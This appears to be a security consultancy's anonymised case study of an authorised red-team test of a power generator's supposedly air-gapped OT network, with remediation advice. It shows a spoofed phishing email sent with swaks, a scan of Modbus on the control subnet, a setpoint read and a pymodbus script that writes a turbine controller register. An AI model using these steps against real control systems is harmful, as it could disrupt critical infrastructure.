Skip to content
All case studies
Energy · 2022Critical · CVSS 9.4Confidential — anonymized

Energy Grid SCADA Isolation

A power generator was certain its OT network was air-gapped. We were hired to test that belief. One phishing email later we crossed the "air gap" through a dual-homed workstation and reached the HMIs controlling turbine setpoints — without ever sending a command that could affect generation.

Duration
5 Weeks
Team
3 OT Security Operators
Scope
IoT / OT Security
Methodology
ICS Red Team / MITRE ATT&CK for ICS / IEC 62443 aligned

Attack narrative

Each phase references the MITRE ATT&CK technique used, with captured evidence.

  1. 01

    Initial Access

    T1566 — Phishing

    A tailored email impersonating internal IT support landed code execution on a corporate engineer’s workstation and called back to our C2.

    operator@proteqon: phish-delivery
    $ swaks --to engineer@grid-power.com --from it-support@grid-power.com \
    $ --server mx.grid-power.com --body @maintenance_notice.html
    => 250 2.0.0 Ok: queued as 4F2A1
    [*] Waiting for beacon...
    [+] Beacon received from WS-ENG-14 (10.50.3.22) as grid\j.okafor
    $
  2. 02

    Discovery

    T1016 — System Network Configuration Discovery

    The compromised workstation had two NICs — one on corporate, one on the "isolated" OT subnet. The air gap was a single misconfigured host.

    WS-ENG-14: ipconfig
    $ ipconfig /all
    Ethernet adapter Corporate:
    IPv4 Address. . . . : 10.50.3.22
    Ethernet adapter OT-ENG:
    IPv4 Address. . . . : 192.168.10.5 <- dual-homed into OT!
    [!] This host bridges IT and the supposedly air-gapped OT zone
    $
  3. 03

    Lateral Movement & Collection

    T0801 (ICS) — Monitor Process State

    We pivoted through the dual-homed host into OT and queried turbine controllers over Modbus — a protocol with no authentication whatsoever.

    operator@proteqon: modbus-probe
    # Pivoted via WS-ENG-14 into 192.168.10.0/24 (OT)
    $ nmap -sT -p502 192.168.10.0/24 --open
    192.168.10.40 502/tcp open modbus
    $ mbtget -r3 -a 40001 -n 8 192.168.10.40
    values: [1500, 1480, 1495, 1510, 0, 0, 1, 1] # turbine RPM setpoints
    [!] Modbus accepts unauthenticated read AND write function codes
    $
  4. 04

    Impact (Simulated)

    T0831 (ICS) — Manipulation of Control

    We confirmed write reachability to turbine setpoints inside a controlled lab replica. No write was ever issued against live generation equipment.

    write_capability_check.py (lab replica only)python
    # Executed ONLY against an isolated lab PLC mirroring production.
    # Demonstrates write reachability; never run against live turbines.
    from pymodbus.client import ModbusTcpClient
    c = ModbusTcpClient("192.168.99.40") # LAB replica, not production
    ok = c.write_register(address=40001, value=1500) # identical to current value
    print("[+] Write accepted by PLC:", ok) # capability proven
    print("[!] Production setpoints were never modified")

Key vulnerabilities

Dual-Homed Engineering Workstation

A single workstation connected to both IT and OT networks defeated the entire air-gap strategy.

CriticalCVSS 9.4

No IT/OT Segmentation

Absence of an enforced OT DMZ allowed direct routing between corporate and control networks once the bridge was found.

CriticalCVSS 9.0

Unauthenticated Industrial Protocols

Modbus and DNP3 traffic carried no authentication, allowing arbitrary read/write to control points by any host on the segment.

HighCVSS 8.3

Legacy PLC Firmware

Controllers ran end-of-life firmware with known, unpatchable vulnerabilities and no integrity verification.

HighCVSS 7.6

Remediation

  1. 01

    Deploy hardware data diodes to enforce unidirectional flow between corporate and OT zones.

  2. 02

    Establish an enforced OT DMZ with brokered, monitored access and eliminate all dual-homed hosts.

  3. 03

    Wrap legacy industrial protocols in authenticated gateways and segment by Purdue model level.

  4. 04

    Implement a managed lifecycle program for PLC firmware with compensating controls for end-of-life devices.

Outcome

Implemented physical data diodes and rewrote corporate-to-OT access rules.

9 Days
Phishing to OT Access
1 Critical
Cross-Zone Paths Found
None
Live Equipment Affected
0
Cross-Zone Paths After

All client identities, infrastructure details, and timelines in this report have been anonymized and adapted to protect confidentiality. Technique identifiers reference the MITRE ATT&CK framework. All offensive actions described were performed within a pre-authorized rules-of-engagement window; no production data was destroyed and no live systems were harmed.

Start an engagement

Want this level of rigor on your systems?

Book a 30-minute scoping call with a senior engineer. You'll leave with a clear recommendation on scope, approach, and timeline.

Book a consultation contact@proteqon.com